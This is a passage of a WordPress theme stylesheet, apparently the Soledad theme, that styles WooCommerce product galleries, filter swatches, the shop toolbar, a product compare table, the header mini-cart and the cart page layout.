.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider,
.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider {
	position: absolute;
	top: 0;
	left: 0;
	width: 100px;
	height: 100%;
}
@media only screen and (min-width: 767px) {
	.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider .splide__track,
	.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider .splide__track {
		max-height: calc(100% - 35px);
		overflow: hidden;
	}
	.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider,
	.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider {
		height: 100%
	}
	.woocommerce-product-gallery.thumbnail-right.no-js .penci-thumbnail-slider,
	.woocommerce-product-gallery.thumbnail-left.no-js .penci-thumbnail-slider {
		margin-top: 0;
	}
}
.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider .splide__arrows,
.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider .splide__arrows {
	display: none;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider {
	margin: 10px 0 0 0;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider {
	position: relative;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .splide__track figure img {
	width: auto;
	display: block;
	margin: 0 auto;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .splide__arrows button {
	width: 30px;
	height: 30px;
	margin-top: -15px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .splide__arrows button svg {
	width: 15px;
	height: 15px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav {
	position: static;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
	position: absolute;
	z-index: 9;
	top: 50%;
	bottom: 50%;
	width: 40px;
	height: 40px;
	margin-top: -20px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-next {
	right: 0;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button,
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
	background-color: transparent;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
	color: var(--pcaccent-cl);
}
.woocommerce-product-gallery.thumbnail-bottom .penci-product-slider-next i,
.woocommerce-product-gallery.thumbnail-bottom .penci-product-slider-prev i {
	transform: rotate(270deg);
}
.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav {
	position: absolute;
	z-index: 9;
	right: 0;
	bottom: 0;
	left: 0;
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
}
@media only screen and (max-width: 767px) {
	.penci-thumbnail-slider.splide--ttb > .splide__track > .splide__list {
		display: flex;
	}
}
.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
	flex: 0 0 auto;
	width: 48%;
	margin: 0;
	padding: 7px 5px;
	border: 0;
	background-color: var(--pcborder-cl);
}
.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
	background-color: #f1f1f1;
}
.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider {
	right: 0;
	left: auto;
}
.woocommerce-product-gallery .penci-thumbnail-slider figure {
	overflow: hidden;
	cursor: pointer;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	opacity: 0.5;
}
.woocommerce-product-gallery .penci-thumbnail-slider figure.swiper-slide-visible,
.woocommerce-product-gallery .penci-thumbnail-slider figure.swiper-slide-thumb-active {
	opacity: 1;
}
.woocommerce div.product div.images.thumbnail-right .woocommerce-product-gallery__trigger {
	top: auto;
	right: auto;
	bottom: 1em;
	left: 1em;
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product div.images .woocommerce-product-gallery__trigger,
	.woocommerce div.product div.images.thumbnail-left .woocommerce-product-gallery__trigger,
	.woocommerce div.product div.images.thumbnail-right .woocommerce-product-gallery__trigger {
		top: 3px;
		right: auto;
		bottom: auto;
		left: 5px;
		width: 46px;
		height: 46px;
	}
	.woocommerce div.product div.images .woocommerce-product-gallery__trigger::before {
		font-size: 16px;
		top: 14px;
	}
}
.variations_form .woocommerce-variation-add-to-cart {
	overflow: hidden;
	margin-top: 30px;
}
.theiaStickySidebar {
	position: relative;
}
.penci-top-relate-post {
	position: absolute;
	z-index: 99;
	top: 0;
	right: 0;
}
.penci-top-relate-post ul {
	position: relative;
	display: flex;
}
.penci-top-relate-post ul li {
	align-self: center;
	margin-right: 5px;
	cursor: pointer;
}
.penci-top-relate-post ul li:last-child {
	margin-right: 0;
}
.penci-top-relate-post ul li.top-ralate-item,
.penci-top-relate-post ul li.item-shop-link {
}
.penci-top-relate-post ul li.top-ralate-item > a,
.penci-top-relate-post ul li.item-shop-link > a {
	width: 25px;
	height: 25px;
	text-align: center;
	border: 1px solid var(--pcpage_gbdr_cl);
	display: block;
}
.penci-top-relate-post ul li.top-ralate-item > a i,
.penci-top-relate-post ul li.item-shop-link > a i {
	line-height: inherit;
}
.penci-top-relate-post ul li.top-ralate-item > a:hover,
.penci-top-relate-post ul li.item-shop-link > a:hover {
	border-color: var(--pcheading-cl);
}
.penci-top-relate-post ul li.top-ralate-item > a {
	font-size: 12px;
	line-height: 22px;
	color: var(--pcheading-cl);
}
.penci-top-relate-post ul li.item-shop-link svg {
	display: inline-block;
	margin: 5px 0 0;
}
.penci-top-relate-post .inner-content {
	position: absolute;
	top: 30px;
	right: 0;
	display: flex;
	visibility: hidden;
	overflow: hidden;
	align-items: center;
	flex-direction: row;
	min-width: 250px;
	transition: all 0.3s;
	opacity: 0;
	border: 1px solid var(--pcpage_gbdr_cl);
	background-color: var(--pcbg-cl);
	-moz-box-shadow: 0 -1px 2px rgba(190, 190, 190, 0.15);
	-webkit-box-shadow: 0 -1px 2px rgba(190, 190, 190, 0.15);
	box-shadow: 0 -1px 2px rgba(190, 190, 190, 0.15);
}
.penci-top-relate-post .top-ralate-item .inner-content {
	-webkit-transform: translateY(15px);
	transform: translateY(15px);
}
.penci-top-relate-post .top-ralate-item:hover > .inner-content {
	visibility: visible;
	-webkit-transform: translateY(0);
	transform: translateY(0);
	opacity: 1;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__image {
	width: 90px;
	flex-grow: 0;
	flex-shrink: 0;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__image img {
	width: 100%;
	height: auto;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary {
	align-self: center;
	margin: 0 !important;
	text-align: left;
	padding: 10px 15px;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary a {
	color: inherit;
	transition: all 0.3s;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary a:hover {
	opacity: 0.7;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary .price {
	font-size: 14px;
	display: inline-block;
	margin-top: 5px;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary .price ins{
	font-size: inherit;
}
.widget.soledad-product-filter .penci-scroll {
	max-height: var(--pc-w-mh);
	position: relative;
	overflow-x: hidden;
}
.widget.soledad-product-filter.penci-scroll-active .penci-scroll {
	height: var(--pc-w-mh);
}
@media only screen and (max-width: 767px) {
	.widget.soledad-product-filter .penci-scroll {
		max-height: var(--pc-w-mhm);
	}
	.widget.soledad-product-filter.penci-scroll-active .penci-scroll {
		height: var(--pc-w-mhm);
	}
}
.widget.soledad-product-filter .penci-scroll .penci-scroll-content {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	height: 100%;
}
.widget.soledad-product-filter.penci-scroll-inactive .penci-scroll .penci-scroll-content {
	position: static;
	height: auto;
}
.soledad-product-filter li {
	position: relative;
}
.soledad-product-filter .swatches-display-double {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
}
.soledad-product-filter .swatches-display-double li {
	flex: 0 0 auto;
	width: 45%;
}
.soledad-product-filter .swatches-display-inline {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}
.soledad-product-filter .swatches-display-inline li {
	margin-right: 10px;
	border: 0;
}
.soledad-product-filter .swatches-display-inline li a {
	display: inline-block;
}
.soledad-product-filter .swatches-display-inline li:last-child {
	margin-bottom: 11px;
	padding-bottom: 12px;
}
.soledad-product-filter .swatches-display-inline .with-swatch-text .layer-term-name {
	min-width: 0;
	padding-right: 4px;
	padding-left: 4px;
}
.soledad-product-filter .swatches-display-inline .count {
	position: static;
}
.soledad-product-filter .swatches-display-inline.swatches-brands li {
	margin-right: 20px;
}
.soledad-product-filter .swatches-display-inline.show-labels-off .with-swatch-text .layer-term-name {
	min-width: 25px;
}
.soledad-product-filter .layered-nav-link {
	display: block;
}
.soledad-product-filter .with-swatch-image {
	position: relative;
	display: flex;
	align-items: center;
	justify-content: space-between;
	margin: 0;
	padding: 0;
	border: 0;
}
.soledad-product-filter .swatches-display-double .with-swatch-image:last-child,
.soledad-product-filter .with-swatch-image:not(:last-child) {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 10px;
	margin-bottom: 10px;
}
.soledad-product-filter .swatches-display-double.swatches-large .with-swatch-image,
.soledad-product-filter .swatches-display-double.swatches-large .with-swatch-image:last-child {
	border-bottom: none;
	padding-bottom: 0;
}
.soledad-product-filter .with-swatch-image .layered-nav-link {
	display: inline-block;
	max-width: 220px;
}
.soledad-product-filter .with-swatch-image .filter-swatch,
.soledad-product-filter .with-swatch-image .swatch-inner {
	display: flex;
	align-items: center;
}
.soledad-product-filter .swatches-display-double .filter-swatch,
.soledad-product-filter .with-swatch-image .swatch-inner {
	flex-direction: row;
}
.soledad-product-filter .with-swatch-image .layered-nav-link:hover,
.soledad-product-filter .with-swatch-image .layered-nav-link {
	background-color: transparent;
}
.soledad-product-filter .with-swatch-image .filter-swatch > span {
	font-size: 0;
	display: block;
	width: 100%;
	height: 60px;
	padding: 0;
}
.soledad-product-filter .swatches-display-inline .with-swatch-image,
.soledad-product-filter .swatches-display-inline li.with-swatch-image:last-child {
	border: 1px solid var(--pcborder-cl);
	padding: 5px;
	margin-bottom: 10px;
}
.soledad-product-filter .show-labels-off .with-swatch-image .layer-term-name,
.soledad-product-filter .show-labels-off .with-swatch-image .count {
	display: flex;
}
.soledad-product-filter .show-count-off .with-swatch-image .count,
.soledad-product-filter .show-labels-off .with-swatch-image .layer-term-name .term_name {
	display: none;
}
.soledad-product-filter .swatches-display-inline .with-swatch-image .layer-term-name img {
	max-height: 25px;
}
.soledad-product-filter .swatches-display-inline .with-swatch-image .count {
	margin-left: 5px;
}
.soledad-product-filter .with-swatch-image .filter-swatch,
.soledad-product-filter .with-swatch-image .layer-term-name {
	display: flex;
	min-width: 110px;
	align-items: center;
}
.soledad-product-filter .with-swatch-image.chosen .layer-term-name {
	font-weight: var(--pchead-wei);
}
.soledad-product-filter .with-swatch-image .layer-term-name img {
	width: auto;
	max-height: 50px;
	display: inline-block;
	margin-right: 5px;
}
.soledad-product-filter .swatches-large .with-swatch-image .layer-term-name img {
	max-height: 90px;
	max-width: 100%;
}
.soledad-product-filter .swatches-small .with-swatch-image .layer-term-name img {
	max-height: 25px;
}
.soledad-product-filter .swatches-display-inline.swatches-small .with-swatch-image .layer-term-name img {
	max-height: 18px;
}
.soledad-product-filter .swatches-display-inline.swatches-large .with-swatch-image .layer-term-name img {
	max-height: 40px;
}
.soledad-product-filter .swatches-large.swatches-display-double .with-swatch-image,
.soledad-product-filter .swatches-large.swatches-display-double .with-swatch-image .layer-term-name {
	flex-direction: column;
}
.soledad-product-filter .show-count-off .count,
.soledad-product-filter .show-labels-off .layer-term-name {
	display: none;
}
.soledad-product-filter a:hover {
	text-decoration: none;
}
.soledad-product-filter .swatches-display-double li,
.soledad-product-filter .swatches-display-list li {
	overflow: hidden;
}
.soledad-product-filter .swatches-display-list li .count,
.soledad-product-filter .swatches-display-double li .count {
	float: right;
}
.soledad-product-filter .swatches-display-list li .layered-nav-link,
.soledad-product-filter .swatches-display-double li .layered-nav-link {
	float: left;
}
.penci-woo-before-main-content {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	/*justify-content: space-between;*/
	margin-bottom: 30px;
}
.penci-woo-before-main-content .penci-woo-before-main-inner-content {
	display: flex;
	overflow: hidden;
	overflow-x: visible;
	flex: 0 0 auto;
	flex-wrap: wrap;
}
.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
	display: flex;
	justify-content: space-between;
}
.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .penci-wofilter-inner {
	display: flex;
}
@media only screen and (min-width: 768px) and (max-width: 1170px) {
	.penci-woo-before-main-content .penci-woo-before-main-inner-content,
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
		width: 100%;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
		justify-content: space-between;
		margin-top: 15px;
		padding-top: 15px;
		border-top: 1px solid var(--pcborder-cl);
	}
	.header-header-ecommerce .main-nav-social .inner-header-social {
		overflow: hidden;
		overflow-x: visible;
		white-space: nowrap;
	}
	.header-header-ecommerce .main-nav-social a {
		float: none;
	}
}
@media only screen and (min-width: 960px) and (max-width: 1170px) {
	.header-header-ecommerce .main-nav-social .inner-header-social {
		overflow: hidden;
		overflow-x: visible;
		white-space: nowrap;
	}
	.header-header-ecommerce .main-nav-social a {
		float: none;
	}
}
.penci-woo-before-main-content .penci-breadcrumb.penci-woo-breadcrumb {
	display: flex;
	align-items: center;
	width: auto;
	margin: 0;
}
.container.penci-breadcrumb.penci-woo-breadcrumb.top {
	position: relative;
	z-index: 9;
	margin-top: 30px;
	margin-bottom: -30px;
}
.sidebar-placement-both .container.penci-breadcrumb.penci-woo-breadcrumb.top {
	margin-bottom: 30px;
}
.content-left .container.penci-breadcrumb.penci-woo-breadcrumb.top {
	margin-top: 0;
	margin-bottom: 15px;
}
@media only screen and (max-width: 767px) {
	.container.penci-breadcrumb.penci-woo-breadcrumb.top {
		margin-bottom: 0;
		padding: 0 20px;
	}
	.content-left .container.penci-breadcrumb.penci-woo-breadcrumb.top {
		margin-bottom: 0;
	}
}
.summary .penci-breadcrumb.penci-woo-breadcrumb {
	position: relative;
	overflow: hidden;
	padding-right: 40px;
	white-space: pre-line;
}
@media only screen and (min-width: 768px) {
	.top-related-posts-show .summary .penci-breadcrumb.penci-woo-breadcrumb {
		padding-right: 110px;
	}
}
.summary .penci-breadcrumb.penci-woo-breadcrumb:after {
	position: absolute;
	z-index: 2;
	top: 0;
	right: 0;
	bottom: 0;
	display: none;
	width: 100%;
	height: 100%;
	content: '';
	background: rgb(255, 255, 255);
	background: linear-gradient(270deg, rgba(255, 255, 255, 1) 0%, rgba(255, 255, 255, 0.5) 50%, rgba(255, 255, 255, 0) 100%);
}
@media only screen and (max-width: 767px) {
	.summary .penci-breadcrumb.penci-woo-breadcrumb:after {
		display: none;
		overflow-x: scroll;
	}
}
.penci-woo-before-main-content .penci-products-per-page {
	display: flex;
	align-items: center;
	margin-right: 15px;
}
.penci-woo-before-main-content .penci-products-per-page span {
	font-weight: normal;
}
.penci-woo-before-main-content .penci-products-per-page a {
	margin-left: 10px;
	color: rgba(0, 0, 0, 0.5);
}
.penci-woo-before-main-content .penci-products-per-page a.current-variation {
	color: black;
}
.penci-woo-before-main-content .woocommerce-ordering {
	display: flex;
	float: none;
	margin: 0;
}
.penci-woo-before-main-content .penci-products-shop-view {
	display: flex;
	align-items: center;
	margin-right: 5px;
}
.penci-woo-before-main-content .penci-products-shop-view.products-view-grid-list {
	flex-direction: row-reverse;
}
.penci-woo-before-main-content .penci-products-shop-view svg.icon {
	width: 20px;
	height: 20px;
	opacity: 0.5;
	fill: var(--pctext-cl);
}
.penci-woo-before-main-content .penci-products-shop-view .per-row-5 svg.icon,
.penci-woo-before-main-content .penci-products-shop-view .per-row-6 svg.icon {
	width: 25px;
}
.penci-woo-before-main-content .penci-products-shop-view .current-variation svg.icon {
	opacity: 1;
}
.penci-woo-before-main-content .penci-products-shop-view .shop-view {
	display: inline-flex;
	margin: 0 5px;
}
body.post-type-archive-product .woocommerce-products-header {
	overflow: hidden;
	margin-bottom: 15px;
	padding-bottom: 15px;
}
@media only screen and (max-width: 767px) {
	body.post-type-archive-product .woocommerce-products-header {
		border-bottom: 1px solid #ececec;
	}
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-3,
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-4,
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-5,
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-6 {
		display: none;
	}
}
body.post-type-archive-product .woocommerce-products-header .penci-woo-before-main-content {
	margin-bottom: 0;
}
.widget.soledad-price-filter .penci-price-filter li .current-state {
	font-weight: bold;
	color: var(--pcaccent-cl);
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail,
.thumbnail-bottom-1-col .penci-thumbnail-grid .woocommerce-product-thumbnail {
	margin-top: 15px;
}
.thumbnail-grid .penci-thumbnail-grid {
	display: flex;
	flex-wrap: wrap;
	margin-right: -7.5px;
	margin-left: -7.5px;
}
.thumbnail-grid .penci-thumbnail-grid .woocommerce-product-thumbnail {
	display: inline-flex;
	flex: 1 1 33.3333333333%;
	max-width: 33.3333333333%;
	margin-top: 15px;
	padding: 0 7.5px;
}
.thumbnail-grid .penci-thumbnail-grid .woocommerce-product-thumbnail:nth-child(4n) {
	flex: 1 1 100%;
	max-width: 100%;
}
.thumbnail-bottom-2-col .penci-thumbnail-grid {
	display: flex;
	flex-wrap: wrap;
	margin-right: -7.5px;
	margin-left: -7.5px;
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail {
	display: inline-flex;
	flex: 1 1 50%;
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail:nth-child(3n) {
	flex: 100%
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail .woocommerce-product-gallery__image {
	padding: 0 7.5px;
}
.penci-product-img-thumbnail-grid .penci-thumbnail-grid {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}
.penci-product-img-thumbnail-grid .penci-thumbnail-grid figure {
	display: inline-flex;
	flex: 1 1 50%;
}
.woocommerce div.product div.summary .penci-woo-breadcrumb {
	width: auto;
	margin: 0 0 30px;
}
.penci-products-preloader {
	display: none;
}
.pre-load-content .penci-products-preloader {
	display: block;
}
body #main ul.products {
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	opacity: 1;
}
.pre-load-content #main ul.products {
	visibility: hidden;
	opacity: 0;
}
.penci-products-compare-table .penci-compare-row {
	position: relative;
	display: flex;
}
.penci-products-compare-table .penci-compare-row:nth-child(2n) .penci-compare-col {
	background-color: rgba(0, 0, 0, 0.025);
}
.penci-products-compare-table .penci-compare-col {
	display: inline-flex;
	flex-direction: column;
	justify-content: flex-start;
	padding: 15px;
	text-align: center;
	border-right: 1px solid var(--pcpage_gbdr_cl);
}
.penci-products-compare-table .compare-basic .penci-compare-col {
	padding-top: 0;
}
.penci-products-compare-table .penci-compare-col:last-child {
	border-right: 0;
}
.penci-products-compare-table .penci-compare-col p:last-child {
	margin-bottom: 0;
}
.penci-products-compare-table .compare-field {
	font-weight: bold;
	text-transform: uppercase;
	flex: 0 0 20%;
	text-align: left;
	font-family: var(--pchead-font);
	justify-content: center;
}
.penci-products-compare-table .compare-value {
	flex: 0 1 26%;
	flex-direction: column;
}
.penci-products-compare-table.penci-multicompare {
	overflow: hidden;
	overflow-x: auto;
}
.penci-products-compare-table.penci-multicompare .compare-value {
	flex: 0 0 290px;
}
.penci-products-compare-table .compare-value .stock {
	font-weight: bold;
	font-size: 14px;
}
.penci-products-compare-table .compare-value .stock.out-of-stock {
	color: var(--pclabel_outstock);
}
.penci-products-compare-table .compare-value .stock.in-stock:before {
	font-family: 'penciicon';
	content: '\f111';
	color: var(--pcaccent-cl);
	display: inline-block;
	margin-right: 5px;
	vertical-align: middle;
}
.penci-products-compare-table .penci-product-title {
	font-size: var(--pcsl_tt_fs);
	display: block;
	margin: 10px 0;
}
.woocommerce.penci-products-compare-table .star-rating {
	float: none;
	margin: 0 auto 8px;
}
.penci-products-compare-table .compare-basic-content {
	padding-bottom: 15px;
}
.penci-products-compare-table .compare-basic-content a.button {
	margin-top: 10px;
	height: 40px;
	line-height: 1.2;
}
@media only screen and (max-width: 767px) {
	.penci-products-compare-table .penci-product-title {
		font-size: var(--pcsl_tt_m_fs);
	}
}
@media only screen and (max-width: 767px) {
	.penci-products-compare-table .penci-product-title {
		font-size: var(--pcsl_tt_m_fs);
	}
}
.penci-products-compare-table .penci-product-title a {
	text-decoration: none;
	color: var(--pcheading-cl);
}
.penci-products-compare-table .penci-top-button {
	text-align: center;
	line-height: 1;
}
.penci-products-compare-table .price del {
	opacity: .7;
	color: var(--pcpage_meta_cl);
}
.penci-products-compare-table .price .amount,
.penci-products-compare-table .price ins {
	font-weight: bold;
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.penci-products-compare-table .price del .amount {
	color: inherit;
}
.woocommerce.penci-products-compare-table .penci-top-button a.button {
	background-color: transparent;
	color: var(--pcheading-cl);
	margin: 0 0 12px;
	padding: 0;
	line-height: 1;
	height: auto;
}
.penci-products-compare-table .penci-top-button a:before {
	font-family: "penciicon", serif;
	font-size: 8px;
	line-height: inherit;
	display: inline-block;
	margin-right: 5px;
	content: '\f110';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-products-compare-table .penci-top-button a.penci-compare.loading:before {
	display: none;
}
.penci-products-compare-table .penci-top-button a.penci-compare.loading:after {
	position: static;
	display: inline-block;
	margin-left: 5px;
}
@media only screen and (max-width: 767px) {
	.penci-products-compare-table {
		overflow-x: auto;
	}
	.penci-products-compare-table .penci-compare-row .compare-field {
		flex: 0 0 180px;
	}
	.penci-products-compare-table .compare-value {
		flex: 0 0 290px;
	}
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
	border: 2px solid rgba(55, 55, 55, 0.1);
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:hover {
	color: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
}
.penci-header-cart-detail {
	position: absolute;
	z-index: 9999;
	top: 100%;
	right: 0;
	visibility: hidden;
	width: 300px;
	-webkit-transition: opacity 0.3s ease, visibility 0.3s ease, -webkit-transform 0.3s ease;
	transition: opacity 0.3s ease, visibility 0.3s ease, transform 0.3s ease, -webkit-transform 0.3s ease;
	-webkit-transform: translateY(15px) translateZ(0);
	transform: translateY(15px) translateZ(0);
	text-align: left;
	opacity: 0;
	border: 1px solid var(--pcpage_gbdr_cl);
	background-color: var(--pcbg-cl);
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
}
.penci-header-cart-detail .widget_shopping_cart_content {
	padding-top: 10px;
}
.penci-header-cart-detail .woocommerce-mini-cart__empty-message {
	padding: 0 20px 10px;
	text-align: center;
}
.penci-header-cart-detail .penci-woo-cart-buttons-group > p{
	text-align: center;
}
li:hover .penci-header-cart-detail {
	visibility: visible;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.penci-header-cart-detail ul.product_list_widget li {
	position: relative;
	margin-bottom: 0;
	padding: 10px 0;
}
.penci-header-cart-detail ul.product_list_widget li img {
	width: 50px;
}
.penci-header-cart-detail ul.product_list_widget li .amount {
	font-size: inherit;
}
.penci-header-cart-detail ul.product_list_widget li a {
	font-size: inherit;
	color: var(--pctext-cl);
	font-family: var(--pchead-font);
	font-weight: bold;
	margin-bottom: 5px;
}
.penci-header-cart-detail ul.woocommerce-mini-cart {
	overflow-y: auto;
	max-height: 320px;
	padding: 0 20px;
}
.penci-header-cart-detail ul.product_list_widget li a.remove {
	position: absolute;
	top: 15px;
	bottom: 50%;
	right: 10px;
	margin-top: 0;
	font-size: 0;
	opacity: 0.8;
}
.penci-header-cart-detail ul.product_list_widget li a.remove:before {
	font-family: 'penciicon';
	content: '\f110';
	font-size: 8px;
	color: var(--pcheading-cl);
	background-color: transparent;
}
.penci-header-cart-detail ul.product_list_widget li div.quantity {
	display: none;
}
.penci-header-cart-detail ul.product_list_widget li a.remove:hover {
	background-color: transparent;
	opacity: 1;
}
.woocommerce .penci-header-cart-detail ul.product_list_widget li a.remove:hover:before {
	color: var(--pcheading-cl);
}
.penci-header-cart-detail .woocommerce-mini-cart__total.total {
	position: relative;
	margin: 20px 0 0;
	padding: 10px 20px 0;
	text-align: center;
	background-color: var(--pcbg-cl);
	font-weight: bold;
	font-size: 1rem;
	border-top: 1px solid var(--pcpage_gbdr_cl);
}
.penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons {
	margin: 0 -1px -10px;
	padding: 0 20px 20px;
	background-color: var(--pcbg-cl);
	border: 1px solid var(--pcpage_gbdr_cl);
	border-top: 0;
}
.penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons .button {
	display: block;
	margin-top: 10px;
	padding: 0 15px;
	line-height: 36px;
	color: white;
	background-color: var(--pctext-cl);
}
.penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons .button.checkout.wc-forward {
	background-color: var(--pcaccent-cl);
}
body.woocommerce-cart .entry-content .woocommerce {
	display: flex;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form,
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
	padding-right: 15px;
	padding-left: 15px;
}
body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form {
	display: flex;
	flex: 0 0 auto;
	width: 66.5%;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
	display: flex;
	flex: 0 0 auto;
	width: 33.5%;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals {
	float: none;
	width: 100%;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals .button {
	/*line-height: 1.1;*/
	display: block;
	width: 100%;
	text-align: center;
	background-color: var(--pcpage_btns_bg_cl) !important;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals .penci-woo-cart-total-wrap {
	padding: 30px 30px 0;
	border: 2px solid var(--pcpage_gbdr_cl);
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table {
	border: 0;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table th {
	padding-right: 10px;
	text-transform: none;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table td {
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
.woocommerce-cart table.cart img {
	width: 60px;
}
@media only screen and (max-width: 767px) {
	body.woocommerce-cart .entry-content .woocommerce {
		margin-left: 0;
		margin-right: 0;
	}
	body.woocommerce-cart .woocommerce table.shop_table a.remove {
		margin: 0 auto;
	}
	body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form,
	body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
		flex: 0 0 100%;
		width: 100%;
	}
	.woocommerce .penci_woo_pages_breadcrumbs {
		text-align: center;
		margin-bottom: 30px;
	}
}
.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2 {
	line-height: 1.2;
}
.products .penci-soledad-product .penci-removewishlist.button,
.post-entry .products .penci-soledad-product a.penci-removewishlist.button {
	z-index: 2;
	display: block;
	text-align: center;
	color: var(--pcpage_gtext_cl);
	background-color: transparent;
	padding-left: 0;
	padding-right: 0;
}
.products .penci-soledad-product.penci-hover .penci-removewishlist.button,
.products .penci-soledad-product:hover .penci-removewishlist.button {
	opacity: .85;
}
.products .penci-soledad-product .penci-removewishlist.button:before {
	font-family: "penciicon", serif;
	font-size: 8px;
	line-height: 27px;
	display: inline-block;
	margin: 0 5px 0 0;
	content: '\f110';
	color: inherit;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.products .penci-soledad-product .penci-removewishlist.button.loading:before {
	display: none;
}
.products .penci-soledad-product .penci-removewishlist.button.loading:after {
	position: static;
	display: inline-block;
	margin-left: 5px;
}
.woocommerce a.button.alt.disabled, .woocommerce a.button.alt:disabled, .woocommerce a.button.alt:disabled[disabled], .woocommerce a.button.alt.disabled:hover, .woocommerce a.button.alt:disabled:hover, .woocommerce a.button.alt:disabled[disabled]:hover, .woocommerce button.button.alt.disabled, .woocommerce button.button.alt:disabled, .woocommerce button.button.alt:disabled[disabled], .woocommerce button.button.alt.disabled:hover, .woocommerce button.button.alt:disabled:hover, .woocommerce button.button.alt:disabled[disabled]:hover, .woocommerce input.button.alt.disabled, .woocommerce input.button.alt:disabled, .woocommerce input.button.alt:disabled[disabled], .woocommerce input.button.alt.disabled:hover, .woocommerce input.button.alt:disabled:hover, .woocommerce input.button.alt:disabled[disabled]:hover, .woocommerce #respond input#submit.alt.disabled, .woocommerce #respond input#submit.alt:disabled, .woocommerce #respond input#submit.alt:disabled[disabled], .woocommerce #respond input#submit.alt.disabled:hover, .woocommerce #respond input#submit.alt:disabled:hover, .woocommerce #respond input#submit.alt:disabled[disabled]:hover {
	background-color: black;
}
@media only screen and (max-width: 767px) {
	.woocommerce-cart table.cart td.actions {
		padding-right: 30px;
		padding-left: 30px;
	}
